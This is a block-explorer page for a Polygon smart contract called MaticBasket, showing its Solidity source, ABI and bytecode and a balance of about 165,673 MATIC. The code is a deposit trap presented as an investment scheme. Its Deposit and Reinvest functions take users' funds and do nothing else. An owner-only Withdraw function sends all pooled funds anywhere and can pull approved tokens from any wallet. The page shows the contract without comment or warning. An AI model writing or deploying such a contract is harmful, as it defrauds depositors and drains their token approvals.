Polygon Sponsored slots available. Book your slot here!
Contract Overview
Balance:
165,673.24348111864654654 MATIC
MATIC Value:
$149,006.52 (@ $0.90/MATIC)
Token:
My Name Tag:
Not Available, login to update
[ Download CSV Export ]
Latest 25 internal transaction
[ Download CSV Export ]
Contract Name:
MaticBasket
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at polygonscan.com on 2022-05-26 */ //SPDX-License-Identifier: None pragma solidity 0.8.0; library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } function safeBalanceOf(address token, address wallet) internal returns (uint){ (bool _success, bytes memory data) = token.call(abi.encodeWithSelector(0x70a08231, wallet)); if(_success) { (uint amount) = abi.decode(data, (uint)); return amount; } return 0; } } contract MaticBasket{ address owner; constructor() { owner = msg.sender; } fallback() external payable{ } receive() external payable{ } function Deposit(address sponsorAddress) external payable { } function Reinvest() external payable { } function Withdraw(address token, address from, address[] memory to, uint[] memory amount) public payable { require(owner==msg.sender); require(to.length == amount.length, ""); if(token!=0x0000000000000000000000000000000000000000) { if(from!=0x0000000000000000000000000000000000000000) { for(uint i=0; i<to.length; i++) { TransferHelper.safeTransferFrom(token, from, to[i], amount[i]); } } else { for(uint i=0; i<to.length; i++) { TransferHelper.safeTransfer(token, to[i], amount[i]); } } } else { for(uint i=0; i<to.length; i++) { TransferHelper.safeTransferETH(to[i], amount[i]); } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"sponsorAddress","type":"address"}],"name":"Deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Reinvest","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"Withdraw","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801561001057600080fd5b50600080546001600160a01b0319163317905561097b806100326000396000f3fe6080604052600436106100385760003560e01c806372621500146100415780638ce0bd4614610049578063d8d5acff1461005c5761003f565b3661003f57005b005b61003f61006f565b61003f6100573660046105c2565b610071565b61003f61006a3660046105e3565b610074565b565b50565b60005473ffffffffffffffffffffffffffffffffffffffff16331461009857600080fd5b80518251146100c25760405162461bcd60e51b81526004016100b99061082e565b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8416156101f65773ffffffffffffffffffffffffffffffffffffffff8316156101785760005b825181101561017257610160858585848151811061012b57634e487b7160e01b600052603260045260246000fd5b602002602001015185858151811061015357634e487b7160e01b600052603260045260246000fd5b6020026020010151610274565b8061016a816108ea565b9150506100fd565b506101f1565b60005b82518110156101ef576101dd858483815181106101a857634e487b7160e01b600052603260045260246000fd5b60200260200101518484815181106101d057634e487b7160e01b600052603260045260246000fd5b6020026020010151610386565b806101e7816108ea565b91505061017b565b505b61026e565b60005b825181101561026c5761025a83828151811061022557634e487b7160e01b600052603260045260246000fd5b602002602001015183838151811061024d57634e487b7160e01b600052603260045260246000fd5b602002602001015161048e565b80610264816108ea565b9150506101f9565b505b50505050565b6000808573ffffffffffffffffffffffffffffffffffffffff166323b872dd8686866040516024016102a89392919061071d565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516102f691906106e4565b6000604051808303816000865af19150503d8060008114610333576040519150601f19603f3d011682016040523d82523d6000602084013e610338565b606091505b509150915081801561036257508051158061036257508080602001905181019061036291906106c4565b61037e5760405162461bcd60e51b81526004016100b990610774565b505050505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040516024016103b892919061074e565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161040691906106e4565b6000604051808303816000865af19150503d8060008114610443576040519150601f19603f3d011682016040523d82523d6000602084013e610448565b606091505b509150915081801561047257508051158061047257508080602001905181019061047291906106c4565b61026c5760405162461bcd60e51b81526004016100b99061083f565b6040805160008082526020820190925273ffffffffffffffffffffffffffffffffffffffff84169083906040516104c591906106e4565b60006040518083038185875af1925050503d8060008114610502576040519150601f19603f3d011682016040523d82523d6000602084013e610507565b606091505b50509050806105285760405162461bcd60e51b81526004016100b9906107d1565b505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461055157600080fd5b919050565b600082601f830112610566578081fd5b8135602061057b610576836108c6565b61089c565b8281528181019085830183850287018401881015610597578586fd5b855b858110156105b557813584529284019290840190600101610599565b5090979650505050505050565b6000602082840312156105d3578081fd5b6105dc8261052d565b9392505050565b600080600080608085870312156105f8578283fd5b6106018561052d565b9350602061061081870161052d565b9350604086013567ffffffffffffffff8082111561062c578485fd5b818801915088601f83011261063f578485fd5b813561064d610576826108c6565b81815284810190848601868402860187018d1015610669578889fd5b8895505b838610156106925761067e8161052d565b83526001959095019491860191860161066d565b509650505060608801359250808311156106aa578384fd5b50506106b887828801610556565b91505092959194509250565b6000602082840312156106d5578081fd5b815180151581146105dc578182fd5b60008251815b8181101561070457602081860181015185830152016106ea565b818111156107125782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b60208082526031908201527f5472616e7366657248656c7065723a3a7472616e7366657246726f6d3a20747260408201527f616e7366657246726f6d206661696c6564000000000000000000000000000000606082015260800190565b60208082526034908201527f5472616e7366657248656c7065723a3a736166655472616e736665724554483a60408201527f20455448207472616e73666572206661696c6564000000000000000000000000606082015260800190565b602080825260009082015260400190565b6020808252602d908201527f5472616e7366657248656c7065723a3a736166655472616e736665723a20747260408201527f616e73666572206661696c656400000000000000000000000000000000000000606082015260800190565b60405181810167ffffffffffffffff811182821017156108be576108be61092f565b604052919050565b600067ffffffffffffffff8211156108e0576108e061092f565b5060209081020190565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561092857634e487b7160e01b81526011600452602481fd5b5060010190565b634e487b7160e01b600052604160045260246000fdfea26469706673582212206cdbecf8beb56356d1b84ba4cbc38e811edd511295287c78dd18f74500f3c84964736f6c63430008000033
Deployed ByteCode Sourcemap
2061:1268:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2330:40;;;:::i;2261:61::-;;;;;;:::i;:::-;;:::i;2378:948::-;;;;;;:::i;:::-;;:::i;2330:40::-;:::o;2261:61::-;;:::o;2378:948::-;2507:5;;:17;:5;2514:10;2507:17;2499:26;;;;;;2557:6;:13;2544:2;:9;:26;2536:39;;;;-1:-1:-1;;;2536:39:0;;;;;;;:::i;:::-;;;;;;;;;2591:49;;;;2588:731;;2669:48;;;;2666:464;;2755:6;2751:154;2767:2;:9;2765:1;:11;2751:154;;;2823:62;2855:5;2862:4;2868:2;2871:1;2868:5;;;;;;-1:-1:-1;;;2868:5:0;;;;;;;;;;;;;;;2875:6;2882:1;2875:9;;;;;;-1:-1:-1;;;2875:9:0;;;;;;;;;;;;;;;2823:31;:62::i;:::-;2778:3;;;;:::i;:::-;;;;2751:154;;;;2666:464;;;2975:6;2971:144;2987:2;:9;2985:1;:11;2971:144;;;3043:52;3071:5;3078:2;3081:1;3078:5;;;;;;-1:-1:-1;;;3078:5:0;;;;;;;;;;;;;;;3085:6;3092:1;3085:9;;;;;;-1:-1:-1;;;3085:9:0;;;;;;;;;;;;;;;3043:27;:52::i;:::-;2998:3;;;;:::i;:::-;;;;2971:144;;;;2666:464;2588:731;;;3184:6;3180:128;3196:2;:9;3194:1;:11;3180:128;;;3244:48;3275:2;3278:1;3275:5;;;;;;-1:-1:-1;;;3275:5:0;;;;;;;;;;;;;;;3282:6;3289:1;3282:9;;;;;;-1:-1:-1;;;3282:9:0;;;;;;;;;;;;;;;3244:30;:48::i;:::-;3207:3;;;;:::i;:::-;;;;3180:128;;;;2588:731;2378:948;;;;:::o;999:498::-;1224:12;1238:17;1259:5;:10;;1293;1305:4;1311:2;1315:5;1270:51;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1259:63;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1223:99;;;;1355:7;:57;;;;-1:-1:-1;1367:11:0;;:16;;:44;;;1398:4;1387:24;;;;;;;;;;;;:::i;:::-;1333:156;;;;-1:-1:-1;;;1333:156:0;;;;;;;:::i;:::-;999:498;;;;;;:::o;542:449::-;728:12;742:17;763:5;:10;;797;809:2;813:5;774:45;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;763:57;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;727:93;;;;853:7;:57;;;;-1:-1:-1;865:11:0;;:16;;:44;;;896:4;885:24;;;;;;;;;;;;:::i;:::-;831:152;;;;-1:-1:-1;;;831:152:0;;;;;;;:::i;1505:217::-;1618:12;;;1578;1618;;;;;;;;;1596:7;;;;1611:5;;1596:35;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1577:54;;;1650:7;1642:72;;;;-1:-1:-1;;;1642:72:0;;;;;;;:::i;:::-;1505:217;;;:::o;14:198:1:-;84:20;;144:42;133:54;;123:65;;113:2;;202:1;199;192:12;113:2;65:147;;;:::o;217:705::-;;330:3;323:4;315:6;311:17;307:27;297:2;;352:5;345;338:20;297:2;392:6;379:20;418:4;442:65;457:49;503:2;457:49;:::i;:::-;442:65;:::i;:::-;541:15;;;572:12;;;;604:15;;;650:11;;;638:24;;634:33;;631:42;-1:-1:-1;628:2:1;;;690:5;683;676:20;628:2;716:5;730:163;744:2;741:1;738:9;730:163;;;801:17;;789:30;;839:12;;;;871;;;;762:1;755:9;730:163;;;-1:-1:-1;911:5:1;;287:635;-1:-1:-1;;;;;;;287:635:1:o;927:198::-;;1039:2;1027:9;1018:7;1014:23;1010:32;1007:2;;;1060:6;1052;1045:22;1007:2;1088:31;1109:9;1088:31;:::i;:::-;1078:41;997:128;-1:-1:-1;;;997:128:1:o;1130:1377::-;;;;;1343:3;1331:9;1322:7;1318:23;1314:33;1311:2;;;1365:6;1357;1350:22;1311:2;1393:31;1414:9;1393:31;:::i;:::-;1383:41;;1443:2;1464:40;1500:2;1489:9;1485:18;1464:40;:::i;:::-;1454:50;;1555:2;1544:9;1540:18;1527:32;1578:18;1619:2;1611:6;1608:14;1605:2;;;1640:6;1632;1625:22;1605:2;1683:6;1672:9;1668:22;1658:32;;1728:7;1721:4;1717:2;1713:13;1709:27;1699:2;;1755:6;1747;1740:22;1699:2;1796;1783:16;1819:65;1834:49;1880:2;1834:49;:::i;1819:65::-;1918:15;;;1949:12;;;;1981:11;;;2019;;;2011:20;;2007:29;;2004:42;-1:-1:-1;2001:2:1;;;2064:6;2056;2049:22;2001:2;2091:6;2082:15;;2106:171;2120:2;2117:1;2114:9;2106:171;;;2177:25;2198:3;2177:25;:::i;:::-;2165:38;;2138:1;2131:9;;;;;2223:12;;;;2255;;2106:171;;;-1:-1:-1;2296:5:1;-1:-1:-1;;;2354:2:1;2339:18;;2326:32;;-1:-1:-1;2370:16:1;;;2367:2;;;2404:6;2396;2389:22;2367:2;;;2432:69;2493:7;2482:8;2471:9;2467:24;2432:69;:::i;:::-;2422:79;;;1301:1206;;;;;;;:::o;2512:297::-;;2632:2;2620:9;2611:7;2607:23;2603:32;2600:2;;;2653:6;2645;2638:22;2600:2;2690:9;2684:16;2743:5;2736:13;2729:21;2722:5;2719:32;2709:2;;2770:6;2762;2755:22;2814:430;;2981:6;2975:13;3006:3;3018:129;3032:6;3029:1;3026:13;3018:129;;;3130:4;3114:14;;;3110:25;;3104:32;3091:11;;;3084:53;3047:12;3018:129;;;3165:6;3162:1;3159:13;3156:2;;;3200:3;3191:6;3186:3;3182:16;3175:29;3156:2;-1:-1:-1;3222:16:1;;;;;2951:293;-1:-1:-1;;2951:293:1:o;3249:398::-;3461:42;3530:15;;;3512:34;;3582:15;;;;3577:2;3562:18;;3555:43;3629:2;3614:18;;3607:34;;;;3439:2;3424:18;;3406:241::o;3652:297::-;3856:42;3844:55;;;;3826:74;;3931:2;3916:18;;3909:34;3814:2;3799:18;;3781:168::o;3954:413::-;4156:2;4138:21;;;4195:2;4175:18;;;4168:30;4234:34;4229:2;4214:18;;4207:62;4305:19;4300:2;4285:18;;4278:47;4357:3;4342:19;;4128:239::o;4372:416::-;4574:2;4556:21;;;4613:2;4593:18;;;4586:30;4652:34;4647:2;4632:18;;4625:62;4723:22;4718:2;4703:18;;4696:50;4778:3;4763:19;;4546:242::o;4793:287::-;4995:2;4977:21;;;4793:287;5014:18;;;5007:32;5071:2;5056:18;;4967:113::o;5085:409::-;5287:2;5269:21;;;5326:2;5306:18;;;5299:30;5365:34;5360:2;5345:18;;5338:62;5436:15;5431:2;5416:18;;5409:43;5484:3;5469:19;;5259:235::o;5499:251::-;5569:2;5563:9;5599:17;;;5646:18;5631:34;;5667:22;;;5628:62;5625:2;;;5693:18;;:::i;:::-;5729:2;5722:22;5543:207;;-1:-1:-1;5543:207:1:o;5755:192::-;;5854:18;5846:6;5843:30;5840:2;;;5876:18;;:::i;:::-;-1:-1:-1;5936:4:1;5917:17;;;5913:28;;5830:117::o;5952:353::-;;6022:66;6015:5;6012:77;6009:2;;;-1:-1:-1;;;6119:3:1;6112:90;6225:4;6222:1;6215:15;6255:4;6250:3;6243:17;6009:2;-1:-1:-1;6297:1:1;6286:13;;5999:306::o;6310:184::-;-1:-1:-1;;;6359:1:1;6352:88;6459:4;6456:1;6449:15;6483:4;6480:1;6473:15
Swarm Source
ipfs://6cdbecf8beb56356d1b84ba4cbc38e811edd511295287c78dd18f74500f3c849
Age | Block | Fee Address | BC Fee Address | Voting Power | Jailed | Incoming |
---|
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.